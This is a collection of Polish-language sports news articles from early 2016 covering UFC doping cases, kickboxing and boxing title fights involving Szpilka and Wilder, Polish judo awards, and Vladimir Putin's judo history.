Kolejni dopingowicze w UFC

W 2015 roku świat mieszanych sztuk walki przeżył prawdziwą traumę, gdy na stosowaniu dopingu przyłapano takie gwiazdy jak Anderson Silva czy Jon Jones. Organizacja UFC zapowiadała, że podejmie kroki w celu zwalczania zjawiska. Liczba przeprowadzanych kontroli ma znacząco wzrosnąć.

Jednak nie na wszystkich padł blady strach. Zapewne niektórzy liczą, że jakoś uda im się uniknąć kontroli i dalej stosować niedozwolone środki. Na zażywaniu marihuany wpadł Diego Brandao. UFC poinformowało również o potencjalnej wpadce dopingowej Yoela Romero.

Co ich czeka?

We wrześniu 2015 roku Brandao potrzebował zaledwie dwudziestu ośmiu sekund, aby zakończyć pojedynek z Katsunorim Kikuno. Japończyk był bezradny wobec naporu Brazylijczyka, który w UFC rywalizuje od czterech lat. 28-latek walczy ze zmiennym szczęściem, jednak nie można mu zarzucić, że jego pojedynki nie są efektowne. Brandao chciał dobrze zacząć 2016 rok. Na gali UFC 195 zmierzył się z Brianem Ortegą i musiał odklepać w trzeciej rundzie, bo rywal zastosował skuteczne duszenie. Brazylijczyk nie miał powodów do radości. Zaliczył czwartą porażkę w swoim dziesiątym występie w UFC, jednak to był dopiero początek problemów. Podczas gali Brazylijczyk został przebadany i w jego organizmie znajdowały się metabolity marihuany. Warto wprowadzić pewne rozróżnienie. Marihuana nie znajduje się na liście środków zakazanych w czasie „poza walkami”. Kontrola Brandao została przeprowadzona w „okresie walki”, który określa się jako dwanaście godzin przed bądź po gali. Brazylijczyk musi liczyć się z karą. Jaką? Nowe przepisy Komisji Sportowej Stanu Nevada określają, że pierwsze naruszenie przepisów to półtora roku zawieszenia i 30-40% kary pieniężnej. W przypadku ponownego zażycia środków sankcje są bardziej dotkliwe.

Amerykańska Agencja Antydopingowa poinformowała UFC o potencjalnej wpadce dopingowej Yoela Romero. Nie wiadomo jakie środki zażył zawodnik. Teraz USADA zajmie się dokładną analizą wyników jego testów i stosownie do kategorii czynu wyda wyrok w tej sprawie. Wiadomo, że Romero miał stosować niedozwolone środki w czasie przygotowań do walki z Ronaldo Souzą, która odbyła się w grudniu 2015 roku. Triumfował Kubańczyk.

Będą zwalczać doping 

UFC zapowiada walkę z dopingiem i brak pobłażliwości dla stosujących zakazane środki. USADA opracowała dla amerykańskiej organizacji nowy program, który ma na celu przeciwdziałanie niedozwolonym substancjom. W poprzednim roku przeprowadzono 356 testów. Nowy program antydopingowy obowiązuje od 1 lipca 2015 roku i od tamtego czasu odbyły się 272 kontrole. 

W pierwszych tygodniach 2016 roku przebadano już 49 zawodników. Zgodnie z zapowiedziami w ciągu dwunastu najbliższych miesięcy planowane jest przeprowadzenie ponad 2500 badań.

Warto poświęcić chwilę na substancje zakazane. Dzielą się one na dwie kategorie. W pierwszej znalazły się m.in. anaboliki, hormon wzrostu, peptydy, które są zakazane całkowicie. Z kolei takie substancje jak kokaina czy marihuana nie mogą być stosowane podczas zawodów.

Fot. sherdog.com

KM

Kopiec powalczy o tytuł

Fighter z Warszawy znalazł się w gronie ośmiu kandydatów do tytułu mistrza organizacji King of Kings w wadze 71kg. Rywalizacja o miano najlepszego kickboxera rozpocznie się 27 lutego w Rydze.

Mateusz Kopiec nie po raz pierwszy będzie miał okazję zaprezentować się w turnieju King of Kings. Z poprzednich startów ma dobre wspomnienia. Czy tym razem również namiesza?

Zastępstwo i triumf 

Kickboxing na wysokim poziomi i często z udziałem Polaków – tak można w skrócie scharakteryzować King of Kings. Na galach organizacji Donatasa Simanaitisa nie brakuje polskich zawodników. W 2016 roku KoK ponownie zawita do Polski, gdzie zorganizuje swoją galę. Na 10 grudnia zaplanowano występ w Warszawie. Ma być to zwieńczenie pracowitego roku w wykonaniu KoK.

Na galach organizacji nigdy nie brakowało Polaków. Przewinęło się wiele nazwisk. Paczuski, Turyński, Ziemnicki, Szczepkowski, Rajewski, Głogowski, Sieradzki, Olszewski czy Woźnicki. Ciekawą kartę w historii King of Kings zapisał również Mateusz Kopiec. Zawodnik z Warszawy triumfował w zmaganiach World Grand Prix K-1 w 2010 roku. Początkowo Kopiec miał stoczyć tylko jeden pojedynek, jednak w zmaganiach nie mógł wystąpić Łukasz Szulc. Szansę występu w turnieju 70kg otrzymał kolejny Polak. Mateusz Kopiec szedł jak burza. Znokautował Leo Bonningera, a w półfinale pokonał na punkty Tadasa Jonkusa. Dopiero w finale miał problemy, gdyż jego rywal był wypoczęty. Fernando Groenhart nie musiał rywalizować o wejście do decydującej rozgrywki, ponieważ jego półfinałowy rywal wycofał się z powodu kontuzji. Kopiec triumfował po dogrywce.

O krok od powtórzenia wyniku Polak był w 2014 roku, kiedy to również dotarł do finału. Tam spotkał się z Chrisem Bayą. Po pięciu rundach lepszy okazał się zawodnik z Holandii, choć wielu twierdziło, ze niesłusznie.

Po raz kolejny Kopiec będzie mógł zaprezentować swój kunszt i pokazać, że jest czołowym zawodnikiem w wadze lekkiej w Europie. Pierwsza odsłona o miano najlepszego już 27 lutego w Rydze. W stolicy Łotwy Kopiec zmierzy się z Ilyasem Rustamovem z Estonii, który w 2015 roku odniósł dwa zwycięstwa na galach KoK. To będzie pierwszy akord zmagań. Warto nadmienić, że podczas ostatniego występu na gali w Rydze Kopiec triumfował. Być może to dobry prognostyk.

Mistrza poznamy w Kiszyniowie

Najlepszy lekki zostanie wyłoniony podczas gali w Kiszyniowie, która została zaplanowana na 9 kwietnia. 

Kto oprócz Kopca wystąpi w Rydze? Jordan Pikeur to niezwykle ciekawy zawodnik, który podczas turnieju K-1 MAX w drodze do finału wygrał wszystkie pojedynki przed czasem. Holender ma potencjał, a w Rydze jego umiejętności sprawdzi Christian Dorel.

Wiaczesław Tevinsh zmierzy się z Janem Nausem. Cały czas nie wiadomo z kim stanie do rywalizacji Dmitri Olynyk.

KM

Łobuz, który może zostać mistrzem

Kolejny polski pięściarz stanie przed szansą na zdobycie mistrzostwa świata w kategorii królewskiej. Aby spełnić marzenia Artur Szpilka musi pokonać prawdziwego bombardiera – Deontaya Wildera.

Szpilka przeszedł wyboistą drogę do pojedynku o mistrzowski pas w wadze ciężkiej. Był niepokorny, nie unikał bójek, za jedną z nich trafił za kratki. Po wyjściu na wolność wrócił na ring i z każdą kolejną walką dojrzewał. Wyjechał do USA, gdzie trenuje pod okiem Ronniego Shieldsa. W Stanach miał doskonalić swoje umiejętności, aby wejść na szczyt. W sobotę, 16 stycznia, stanie przed życiową szansą w Barclays Center w Nowym Jorku.

Więzienny image

Już w szkole był przekonany, że zostanie mistrzem. Szpilka nie należał do pilnych uczniów, ale przykuwał uwagę nauczycieli i kolegów. Znany był z tego, że łobuzował. Siał postrach wśród rówieśników i nie tylko. Szukał przeciwników, których będzie mógł zlać, jednak chciał mierzyć się z równymi sobie, a nawet silniejszymi.

Szansą dla Szpilki stał się boks. Młody pięściarz jeździł na zgrupowania, gdzie miał możliwość rozwijać swoje umiejętności. To było jednak za mało. Szukał kolejnych wrażeń. Wdawał się w bójki. W Wieliczce, skąd pochodzi wszyscy wiedzieli, że to typ niepokorny. Kilkukrotnie policja pukała do jego drzwi. Kończyło się na wizytach na komisariacie. Jednak w końcu czara goryczy się przelała. Szpilka był już przygotowany i palił się do wyjścia na ring, aby stoczyć pojedynek z Wojciechem Bartnikiem. Był październik 2009 roku. Do walki nie doszło. Szpilka trafił do aresztu za pobicie i kradzież telefonu na dyskotece. Wyrok się uprawomocnił, co oznaczało dla pięściarza półtora roku pobytu w więzieniu.

O Szpilkę walczył Andrzej Gołota, który odwiedził młodego boksera w więzieniu, jednak ten nie był skory do rozmowy. Początkowo „Szpila” przebywał w areszcie w Krakowie, ale przeniesiono go do Tarnowa. Uderzył funkcjonariusza, który kazał pościelić mu łóżko. Był pod stałym nadzorem kamer, bardzo rzadko widywał się z rodziną, przytył. Po wyjściu na wolność wrócił na ring. Podjął się rywalizacji w wadze ciężkiej, wcześniej walczył w junior ciężkiej, i zmierzył się w czerwcu 2011 roku z Ramizem Hadziaganoviciem. Polak potrzebował trzydziestu trzech sekund, aby odnieść zwycięstwo.

Typ niepokorny

Przyległa do niego łatka chuligana. Przez długi czas musiał z nią walczyć, ale sam dawał podstawy, aby opinia publiczna trwała w swoich osądach. W dosadnych słowach wypowiadał się o swoich rywalach. Często kpił. Nie potrafił zachować należnego spokoju i ogłady. W styczniu 2013 roku podczas konferencji prasowej „Szpila” rzucił się na Krzysztofa Zimnocha. Panowie nie przypadają za sobą i po serii wyzwisk postanowili porozmawiać ze sobą za pomocą pięści. Mieli spotkać się w ringu, jednak do pojedynku ostatecznie nie doszło.

Wielu powtarzało, że Szpilka ma umiejętności, lecz musi popracować nad głową. W Polsce gromił kolejnych rywali, jeździł również do Stanów, gdzie dwukrotnie znokautował Mike'a Molo. Prezentował się efektownie w ringu, jednak poza nim bywało różnie. Robił wokół siebie wiele zamieszania, często niepotrzebnego. Jednak dało się słyszeć głosy, że pobyt w więzieniu zmienił go. Kwestią podstawową dla rozwoju Szpilki była konieczność otoczenia się właściwymi ludźmi. Boks musiał stać się całym jego życiem. 

W styczniu 2014 roku doznał jedynej, jak do tej pory, porażki na zawodowym ringu. Bryant Jennings znalazł sposób na Polaka i zakończył pojedynek przed czasem. Zapewne to wydarzenie dało Szpilce do myślenia. Chciał udowodnić, że jest najlepszy w Polsce w kategorii ciężkiej i dostał szansę rywalizacji z Tomaszem Adamkiem. W ringu zaprezentował się dojrzale, myślał, analizował i nie dał się wyprowadzić z równowagi. Wygrał jednogłośną decyzją sędziów. Pokazał, że jest najlepszy w kraju. Kolejny krok to podbicie świata. W styczniu 2015 roku podpisał kontrakt z Alem Haymonem, który ma w swojej stajni najlepszych. Trenerem Szpilki został Ronnie Shields, który głęboko wierzy w swojego podopiecznego. Do tej pory Polak wygrał trzy pojedynki pod jego wodzą.

W czwartej walce, w której obecny będzie Shields Szpilka ma szansę zdobyć tytuł mistrza świata WBC. Polak pokazał, że nadal tkwi w nim coś z chuligana. Podczas konferencji prasowej przed mistrzowskim starciem doszło do szarpaniny pomiędzy 26-latkiem, a Deontayem Wilderem. Zapewne to element wojny psychologicznej. Amerykanin chciał sprowokować Szpilkę, jednak ten nie miał zamiaru się poddać. Gdy Wilder przerwał mu wypowiedź „Szpila” odpowiedział, że go znokautuje. 

Polska nigdy nie miała mistrza świata w wadze ciężkiej. O tytuł walczyło pięciu pięściarzy. Gołota, Sosnowski, Adamek, Wawrzyk i Wach nie dali rady. Czy szósty polski kandydat okaże się zwycięzcą?

KM

Komu przypadnie tytuł?

Podczas sobotniej, 16 stycznia, gali w Barclays Center Artur Szpilka będzie starał się pokonać Deontaya Wildera i przejąć pasa mistrza świata WBC. To główne danie wieczoru. Wcześniej dojdzie do równie ciekawego starcia, a na szali będzie tytuł czempiona IBF.

Wokół pasa było wiele zamieszania. Jeszcze niedawno należał do Władimira Kliczko, jednak po listopadowej porażce w Dusseldorfie Ukrainiec stracił tytuł na rzecz Tysona Fury'ego. Anglik cieszył się ze zdobyczy zaledwie kilkanaście dni. Obowiązkowym pretendentem do walki o pas IBF był Wiaczesław Głazkow i Fury powinien zmierzyć się z Ukraińcem, jednak wybrał inną drogę. Zdecydował się na kolejne starcie z Kliczko. Fury został pozbawiony pasa. O wakujący tytuł powalczą Głazkow oraz Charles Martin.

Spokojny Głazkow

Ukrainiec na stałe trafił do Stanów Zjednoczonych w grudniu 2012 roku, kiedy pokonał Tora Hamera. Od tamtego czasu stoczył sześć zwycięskich walk na amerykańskich ringach. Ostatnio rywalizował w Rosji, gdzie w czwartej rundzie położył na deski Kertsona Manswella. W 2015 roku pokonał również Steve'a Cunninghama. 

Polskim kibicom Głazkow jest znany jako ten, z którym Tomasz Adamek stoczył swój ostatni pojedynek w USA. Ukrainiec wygrał zdecydowanie na punkty. Głazkow okazał się skuteczniejszy i przede wszystkim kontrolował przebieg pojedynku. Bokser urodzony w Ługańsku punktował „Górala”, który nie był w stanie przeciwstawić się młodszemu rywalowi. Głazkow potwierdził swoje miejsce w hierarchii wagi ciężkiej, ale na walkę o pas przyszło mu czekać prawie dwa lata.

Głazkow stoczył na zawodowych ringach dwadzieścia dwa pojedynki. Zanotował dwadzieścia jeden zwycięstw i jeden remis. Malik Scott jako jedyny może pochwalić się tym, że nie przegrał z Głazkowem, choć wynik był dość dziwny. Jeden sędzia ocenił walkę remisową, kolejny widział minimalne zwycięstwo Ukraińca, a trzeci zdecydowanie wskazał na Amerykanina. 

Teraz Głazkow ma okazję, aby potwierdzić swój kunszt. Ukrainiec jest zadowolony z przygotowań do walki z Martinem. – Nie stresuję się przed zbliżającą walką. Czuję się świetnie. To dla mnie kolejna walka. Jasne, że stawką jest tytuł, ale nie czuję dodatkowej presji. Wszystko jest w porządku. W przygotowaniach do walki pomagał mi Eduard Mienchakov, z którym trenowałem w czasach amatorskich. Współpracuje nam się dobrze również na sali zawodowej – mówi Głazkow.

Wiara Martina

W sukces wierzy Charles Martin, który do tej pory na swoim koncie zapisał pas mistrzowski WBO NABO. Starcie o tytuł mistrza świata wagi ciężkiej IBF będzie dla niego największym wyzwaniem w karierze, jednak Amerykanin głęboko wierzy w swoje siły.

Patrząc na jego ostatnie występy ma ku temu solidne podstawy. Vicente Sandeza odprawił w trzeciej rundzie, a na pokonanie Toma Dallasa potrzebował zaledwie trzech minut. Martin nie patyczkuje się i szybko kończy swoje walki. Dwadzieścia pojedynków rozstrzygnął przed czasem. Tylko w trzech przypadkach spędził w ringu pełen dystans. – To, że jestem w tym miejscu jest ekscytujące, ale będzie jeszcze słodsze, gdy zdobędę pas. Waga ciężka powraca. Zamierzam pokazać siłę wszystkim. Mam za sobą wspaniały obóz. Nie chcę za dużo gadać. Niech w sobotę przemówią moje pięści – ucina Martin.

Fot. thesweetscience.com 

KM

Polacy jadą do Chicago, Parcheta przegrywa

26 lutego na gali Glory 27 w Chicago zaprezentuje się dwóch naszych zawodników. Paweł Jędrzejczyk i Tomasz Makowski to doświadczeni zawodnicy, którzy wielokrotnie serwowali niesamowite kickboxerskie pojedynki. Jak będzie tym razem?

Wszystko jest już dopięte niemal na ostatni guzik. Trzeba jeszcze cierpliwie poczekać na ujawnienie nazwisk rywali naszych zawodników.

Doświadczeni i mocni

Paweł Jędrzejczyk doskonalił swoje umiejętności w Tajlandii. Można zaryzykować stwierdzenie, że nie robi mu różnicy czy toczy pojedynki na zasadach boksu tajskiego czy K-1. 35-latek osiągnął najwyższy poziom. W końcu zawita na galę organizacji Glory, czyli jednego z potentatów na kickboxerskim rynku.

To również znakomita informacja dla kibiców w Polsce. W lutym w Chicago zobaczymy dwóch Polaków, którzy mogą przetrzeć szlaki kolejnym naszym zawodnikom. Kiedyś blisko występu w Glory był Rafał Dudek, jednak wydarzenie zostało odwołane. Teraz nadarza się kolejna szansa, która w najbliższym czasie może wydać owoce. Jędrzejczyk i Makowski mogą okazać się kluczami do sukcesu polskiego kickboxingu. Czy Polacy wypłyną na szerokie wody?

Obaj mają bogate dokonania. Jędrzejczyk zdobywał mistrzostwa świata w K-1 i muay thai organizacji WKN i WKA. W 2015 roku podbijał Tajlandię i radził sobie bardzo dobrze. Na początku lutego zmierzył się w rewanżowej walce z Garethem Nelliesem. Panowie rywalizowali na stadionie Lumpinee w Bangkoku. Jędrzejczyk okazał się lepszy i sędziowie przyznali mu zwycięstwo. Udany rewanż 35-latka, który zarazem został pierwszym Polakiem triumfującym na stadionie Lumpinee. W maju w Pattayi pokonał utytułowanego F16 Rajanonta. Kolejne występy to porażki Polaka. Jędrzejczyk przegrał z Ekapopem Sityodtong, a w październiku podczas gali Martial Arts Contest lepszy okazał się Thanelek Chompon.

Jędrzejczyk w Chicago ma rywalizować w kategorii 77kg, a Makowski w 65kg. Decyzję o występie tego drugiego podejmie lekarz. Makowskiego nikomu nie trzeba przedstawiać. To wielokrotny mistrz Polski full contact, low kick, K-1, muay thai. Na swoim koncie ma również triumfy w Pucharach Świata full contact. W 2007 roku zdobył tytuł mistrza świata muay thai WKA i dominował na globie przez kolejne lata. We wrześniu 2015 na gali MFC Makowski przegrał z Federico Romą pojedynek w obronie pasa zawodowego mistrza WKN w kategorii 58,9kg. Polak nie mógł kontynuować rywalizacji ze względu na kontuzję biodra. Miejmy nadzieję, że w Chicago doświadczonego zawodnika zobaczymy.

Parcheta przegrywa w Tajlandii

Kolejnym Polakiem, który szlifuje swoje umiejętności w Tajlandii jest Marcin Parcheta. Zawodnik ze Szczecina wziął udział w turnieju organizacji Super Muaythai.

Wielokrotny mistrz Polski muay thai i K-1 w kategorii 70kg wystąpił w czteroosobowym turnieju. W półfinale w drugiej rundzie zakończył rywalizację z Luisem Alberto. Parcheta w finale zmierzył zawodnikiem z Australii. Charlie nie miał litości dla naszego zawodnika i jeden z jego ciosów spowodował rozcięcie nad okiem fightera ze Szczecina. Sędzia przerwał walkę, Parcheta musiał zadowolić się drugą lokatą. 

KM

Edgar w pogoni za szansą

Każdy chce walczyć o najwyższe laury i spełniać się. W cenie jest cierpliwość, gdyż nie zawsze udaje się zrealizować założenia. Świat sportów walki to wiele zależności, pieniądze, ale także szczęście. Tego ostatniego nie ma Frankie Edgar.

34-letni Amerykanin liczył, że uda mu się spotkać z Conorem McGregorem i rywalizować o pas mistrza UFC w kategorii piórkowej, jednak Irlandczyk ma zmierzyć się w kwietniu z Rafaelem dos Anjosem. Edgar jest poirytowany.

Szansa przeszła koło nosa

Edgar miał ciężki 2012 rok i początek 2013 roku. Nie potrafił sprostać dwukrotnie Bensonowi Hendersonowi i Jose Aldo. W lutym 2012 roku Edgar stracił tytuł mistrzowski UFC w wadze lekkiej na rzecz swojego rodaka, jednak pojedynek był niezwykle wyrównany i zdecydowano się na rewanż. Werdykt kolejnej walki wzbudził wiele wątpliwości. Henderson wygrał i obronił pas, jednak decyzja sędziów była niejednogłośna. Edgar zdecydował się zejść do kategorii piórkowej. W lutym 2013 spotkał się w rywalizacji z Jose Aldo, który dzierżył pas mistrzowski. Brazylijczyk wygrał na punkty. 

Amerykanin wrócił na właściwe tory i coraz lepiej poczynał sobie w kategorii piórkowej. Od wygranej z Charlesem Oliveirą rozpoczęła się dobra passa Edgara, który wygrał pięć kolejnych walk. W swoim ostatnim występie, grudzień 2015, Amerykanin szybko rozprawił się  z Chadem Mendesem. Zasypał rywala ciosami i po ponad dwóch minutach walka zakończyła się. Nic nie stało na przeszkodzie, aby teraz Edgar spotkał się z mistrzem wagi piórkowej Conorem McGregorem. Były nawet przymiarki, jednak Irlandczyk zdecydował się stoczyć kolejną walkę w kategorii lekkiej. McGregor szuka kolejnych wrażeń i chce zdobyć pas. Jego najbliższym rywalem ma być mistrz wagi lekkiej Rafael dos Anjos.

Rozczarowanie

Edgar czekał i miał nadzieję, że w końcu zmierzy się o mistrzowski pas. Figla spłatał mu McGregor. – Wypompowałem się. Mam za sobą jedną z najlepszych walk w życiu i powinienem czuć się inaczej. Chodzi o pewność siebie. Dan White i Lorenzo Fertitty nie są tym jednak zainteresowani. Zapewne nie jestem najlepszym przeciwnikiem jakiego oni oczekują. Pewnie nie chcą tej walki. Trzech przeciw mnie. Myślę, że jestem najgorszym zestawieniem dla McGregora. On o tym wie, wy też i UFC też. Chcę dostać szansę. Tego właśnie chcę. Czy dostanę to? – zastanawia się amerykański fighter.

Co pozostaje 34-latkowi? Może czekać na McGregora i jego decyzję o obronie mistrzowskiego pasa w kategorii piórkowej. Jednak czas biegnie nieubłaganie, a Edgar nie może stać w miejscu. W każdej kolejnej walce musi udowadniać swoją wartość. Tyle w tej chwili może.

Fot. sherdog.com

KM

Pogorzelec i Sarnacki wyróżnieni

Miniony weekend upływał w Elblągu pod hasłem "Szlifujemy talenty –  poszukujemy mistrza". Piąty judo camp ściągnął blisko 700 zawodników. W Elblągu odbywała się również gala Polskiego Związku Judo, gdzie nagrodzono najlepszych w 2015 roku.

Rok olimpijski, czy rok wielkich nadziei. Czy się ziszczą? Czas pokaże. Wszyscy chcieliby, aby Polska miała kolejnego mistrza olimpijskiego w judo i następcę Pawła Nastuli. Być może taki diament brał udział w zmaganiach w Elblągu.

Treningi i warsztaty

Już po raz piąty do Elbląga zjechali się trenerzy i zawodnicy, aby wziąć udział w seminariach oraz treningach. Inicjatywa trafiła na podatny grunt, bo z roku na rok frekwencja wzrasta. Organizatorzy przewidywali, że do Elbląga zjedzie blisko tysiąc zawodników, jednak przeliczyli się. Według wstępnych podsumowań w judo camp wzięło udział blisko 700 wojowników. W Elblągu pojawiło się również 70 trenerów, którzy uczestniczyli w seminariach prowadzonych m.in. przez Jewgienija Lwowa i Hiroshi Katanishiego.

Hala Centrum Sportowo – Biznesowego stała się wyjątkowym miejscem dla polskiego judo. Impreza “Szlifujemy talenty – poszukujemy mistrza” to wyraz troski o przyszłość i ważna inicjatywa. Istotne jest również, że praktycznie całe środowisko judo może spotkać się w jednym miejscu. To okazja do wspólnej integracji i wymiany doświadczeń.

Impreza rozwija się z roku na rok. W treningach uczestniczy coraz więcej judoków, do Elbląga zjeżdżają się nie tylko polscy zawodnicy. Jak ważna jest to impreza świadczy fakt, że otwierał ją Sławomir Kownacki, prezes Polskiego Związku Judo oraz Bogusław Milusz, wiceprezydent Elbląga. 

Nagrodzeni

Elbląg na kilka dni stał się polską stolicą judo. Oprócz campu odbyła się tam również gala, na której nagrodzono najlepszych w 2015 roku. Kto zasłużył na wyróżnienia?

Tytuł najlepszej zawodniczki 2015 roku przypadł Darii Pogorzelec. Zawodniczka Wybrzeża Gdańsk notowała dobre występy, aczkolwiek nie rewelacyjne. Wypadła najlepiej spośród reprezentantów kraju w mistrzostwach świata w Astanie, gdzie w kategorii 78kg zajęła piątą pozycję. W drużynie również zaliczyła udany występ. Polki sięgnęły po srebrny medal. Ponadto, w zawodach międzynarodowych stawała na podium m.in. w Baku w zawodach Grand Slam czy w Grand Prix w Zagrzebiu.

Najlepszym judoką poprzedniego roku wybrano Macieja Sarnackiego, który łapał się na czołowe lokaty w międzynarodowych startach. Tytuł trenerki roku dla Anety Szczepańskiej. Z kolei najlepszym szkoleniowcem wybrano Artura Kejzę. Juniorem roku został Piotr Kuczera, który na mistrzostwach świata i mistrzostwach Europy zdobywał brązowe medale. Najlepszą juniorką okrzyknięto Annę Dąbrowską. Bohaterką roku wybrano Karolinę Pieńkowską, która wywalczyła tytuł młodzieżowej mistrzyni świata. Karol Kurzej otrzymał wyróżnienie w kategorii progres roku.

KM

Putin nie unika walki

Odkąd prezydent Rosji Władimir Putin związany jest ze sportami walki? Można powiedzieć, że od dziecka i wcale się z tym nie kryje. Chętnie prezentuje swoje umiejętności na tatami.

Cały świat patrzy na ręce Władimira Putina. Sytuacja geopolityczna zmienia się, Rosja szuka swojego miejsca w nowym rozdaniu, ale nadal pozostaje ważnym graczem na międzynarodowej arenie. Obecnie problemem dla Moskwy są spadające ceny ropy naftowej. Putin liczył, że uda mu się coś ugrać zaangażowaniem w Syrii, jednak został zepchnięty gdzieś na bok. Cały czas jest aktywny na Ukrainie. Putin, Putin, Putin – duma Rosjan, którzy chcą być rządzeni silną ręką. Taka jest mentalność naszych wschodnich sąsiadów. Potrzebują silnego oparcia i Putin im to gwarantuje. Zwłaszcza, że jest prawdziwym wojownikiem.

Przygoda z judo

Wszyscy doskonale pamiętają Władimira Putina, u stóp którego leżał niedźwiedź polarny. Rosyjski władca wyłaniający się z jeziora z karabinem w ręku czy prężący muskuły prezydent Federacji Rosyjskiej podczas jazdy konnej. W ten sposób tworzono obraz twardego męża stanu. Rosjanie chcą, aby ich „matuszka” był silna, odnosiła sukcesy i na szczyt prowadził ją ktoś wybitny. Putin jest w ich oczach odpowiednim człowiekiem. Prezydent Federacji Rosyjskiej może prężyć muskuły, robić groźne miły, opowiadać kąśliwe żarty na temat innych państw i rysować kolejne strategie działania, a w kraju mogą mnożyć się problemy społeczne, bieda jest wszechobecna. Mimo to najważniejsza jest „matuszka Rosija”.

A Putin jest jej główną twarzą. Co Władimir Władimirowicz ma wspólnego ze sportami walki? Okazuje się, że dużo, a być może więcej niż sobie wszyscy wyobrażali. Bo Putin to prawdziwy zapaleniec sportów walki, który w wieku trzynastu lat rozpoczął treningi judo. Swego czasu Anatolij Rachlin, trener Putina, opowiadał, że młokos na pierwszy rzut oka niczym szczególnym się nie wyróżniał. Dopiero z czasem pokazał niezwykłą wytrzymałość oraz nieprzewidywalność, którą zaskakiwał rywali. Rodzicom nastoletniego Władimira nie podobała się jego pasja. Uważali, że będzie wykorzystywał wiedzę zdobytą podczas treningów do łobuzowania. Mimo to nie ugiął się. Trenował dalej, z ogromnym zaangażowaniem. Z czasem akcje Putina poszły w górę i stał się jednym z kandydatów do zdobywania medali dla Związku Radzieckiego. W 1970 roku uzyskał czarny pas, co było największym podkreśleniem jego umiejętności. Sześć lat później wywalczył tytuł mistrza Lenningradu. Błyskotliwą karierę Putina przerwało KGB. Władimir Władimirowicz zdecydował się związać swoją życiową drogę ze służbami, co wiązało się z większymi pieniędzmi i uznaniem.

Jak pokazał czas Putin jest silnym i zdecydowanym graczem. Trener Rachlin podkreślał, że jego podopieczny ma niezwykłą umiejętność. Potrafił wykonywać rzuty przez obie strony. W polityce jest równie bezwzględny. Dla niego liczy się sukces. Zapewne sporty walki go ukształtowały, a być może pozwoliły rozwinąć skrzydła. Putin doskonalił swoje umiejętności również w sambo. Nie bał się wymiany ciosów.

Pamięta o młodzieńczej pasji

Prezydent Rosji stara się podtrzymywać swoją aktywność. Nadal chętnie oddaje się pasji, którą są sporty walki. Ostatnio pojawił się na tatami, gdzie stoczył pojedynek z… kobietą. Na początku stycznia Putin uświetnił trening reprezentacji Rosji. Postanowił chwilę poświęcić na sportową rywalizację i stanął w szranki z Iriną Zabludiną.

O zamiłowaniu Putina do sportów walki pamięta również świat. W listopadzie 2013 roku podczas wizyty w Seulu otrzymał 9. dan w taekwondo.

Świat ciągle z uwagą patrzy na Putina. Dyplomaci zastanawiają się jak odbierać jego słowa. Prezydent Rosji to wielki gracz, który judo porzucił dla KGB. O swojej pasji pamięta bądź nakazuje mu to dbałość o wizerunek silnego męża stanu.

KM

Wilder wybiega w przyszłość

Jeszcze niedawno martwił się, że nie może znaleźć rywala, z którym stanie w styczniu w ringu. W końcu na propozycję walki z Deontay'em Wilderem przystał Artur Szpilka. Do starcia jeszcze kilka dni, a amerykański mistrz WBC kategorii królewskiej już wybiega w przyszłość. Bardzo daleką.

Nie ma, co ukrywać, że planem Wildera jest zdominowanie kategorii królewskiej. Jednak w ostatnim czasie popadł w samouwielbienie. Czy słusznie? Ma podstawy ku temu?

Zapomniał o Szpilce?

W grudniu Wilder miał nie lada ból głowy. Czas uciekał, a nie wiadomo było, kto stanie z nim w ringu podczas zaplanowanego na 16 stycznia pojedynku. Wydawało się, że najpoważniejszym rywalem jest Wiaczesław Głazkow, jednak ten będzie rywalizował o pas IBF. Wśród potencjalnych rywali wymieniano Tomasza Adamka, Shannona Briggsa, Amira Mansoura czy Bermane Stiverne'a. Konkretów jednak brakowało. W końcu wszystko się wyklarowało i Wilder mógł odetchnąć. Szansę walki o pas mistrzowski otrzymał Artur Szpilka.

Wilder jest pewny swego i zapowiada zwycięstwo. Bez wątpienia ma ku temu podstawy. Wilder to bombardier jakich mało. Jego cios powalił już niejednego śmiałka. Wejść z nim do ringu to jak spotkać wściekłego byka, który rozwali wszystko, co spotka na swojej drodze. Tylko Stiverne wytrzymał z Amerykaninem pełen dystans. Wilder nie ma wątpliwości, że ze Szpilką upora się szybko.

Pytanie, czy ten pojedynek jest dla Amerykanina ważny? Wydaje się, że Wilder wybiega już w przyszłość. Walkę ze Szpilką zapisał w swoim kalendarzu, jednak myśli o zdominowaniu wagi ciężkiej. W licznych rozmowach podkreśla, że chce rywalizować ze zwycięzcą pojedynku Tyson Fury-Władimir Kliczko. Ostatnio nawet Amerykanin pokusił się o wskazanie na Brytyjczyka, którego upatruje jako faworyta rewanżowego starcia pomiędzy tytanami wagi ciężkiej. Pojawia się jeden problem, czy Wilder nie traci trochę kontaktu z rzeczywistością. Najrozsądniejszym rozwiązaniem byłoby skupić się na najbliższym pojedynku, a nie rysować scenariusz na przyszłość. Tak jakby trochę lekceważył zbliżające się starcie. Wiadomo, że Szpilka aspiruje do miana czempiona, ale z jakichś powodów został wytypowany na najbliższego rywala Amerykanina. Każdemu przeciwnikowi należy się szacunek, a z całego zamieszania wokół pojedynku wynika chaos. Niby Wilder szukał rywala, martwił się, ubolewał. Gdy go już znalazł zaczął planować swoją przyszłość. 

A może to pokaz siły?

Być może to taka gombrowiczowska maska, którą przywdział Wilder. Pokazuje swoją pewność siebie, a zarazem nie chce wypaść z obiegu. To również istotne, gdyż cały czas buduje swoją wartość i chce, żeby jego nazwisko było nośne i docierało do jak największej liczby uszu. Może tu trzeba upatrywać przyczyn wybiegania w przyszłość przez Amerykanina.

W słowach nie przebiera. Marzą mu się tytułu Fury'ego. Wilder chciałby, aby obok pasa WBC zawisły tytuły mistrza świata IBA, WBO i WBA. – Fury jest tylko wysokim pięściarzem, który nie ma dużej siły ciosu. Zachowuje się w ringu jak głupek. Jestem w stanie go znokautować. Z mojej strony padła propozycja, aby był pierwszym pięściarzem, z którym zmierzę się w obronie tytułu. Jego team wybrał walkę z Kliczko. Rywale boją się ze mną mierzyć, gdyż znają wynik walki – prezentuje swoje zdanie Wilder.

Zasadne wydaje się w takim razie, dlaczego więc Szpilka zdecydował się walczyć z amerykańskim mistrzem? Teoretycznie wynik walki jest znany. Historia zna różne przypadki. Pewność siebie jest ważna, ale nie ma, co przesadzać z samouwielbieniem.

KM

Tajskie show po holendersku

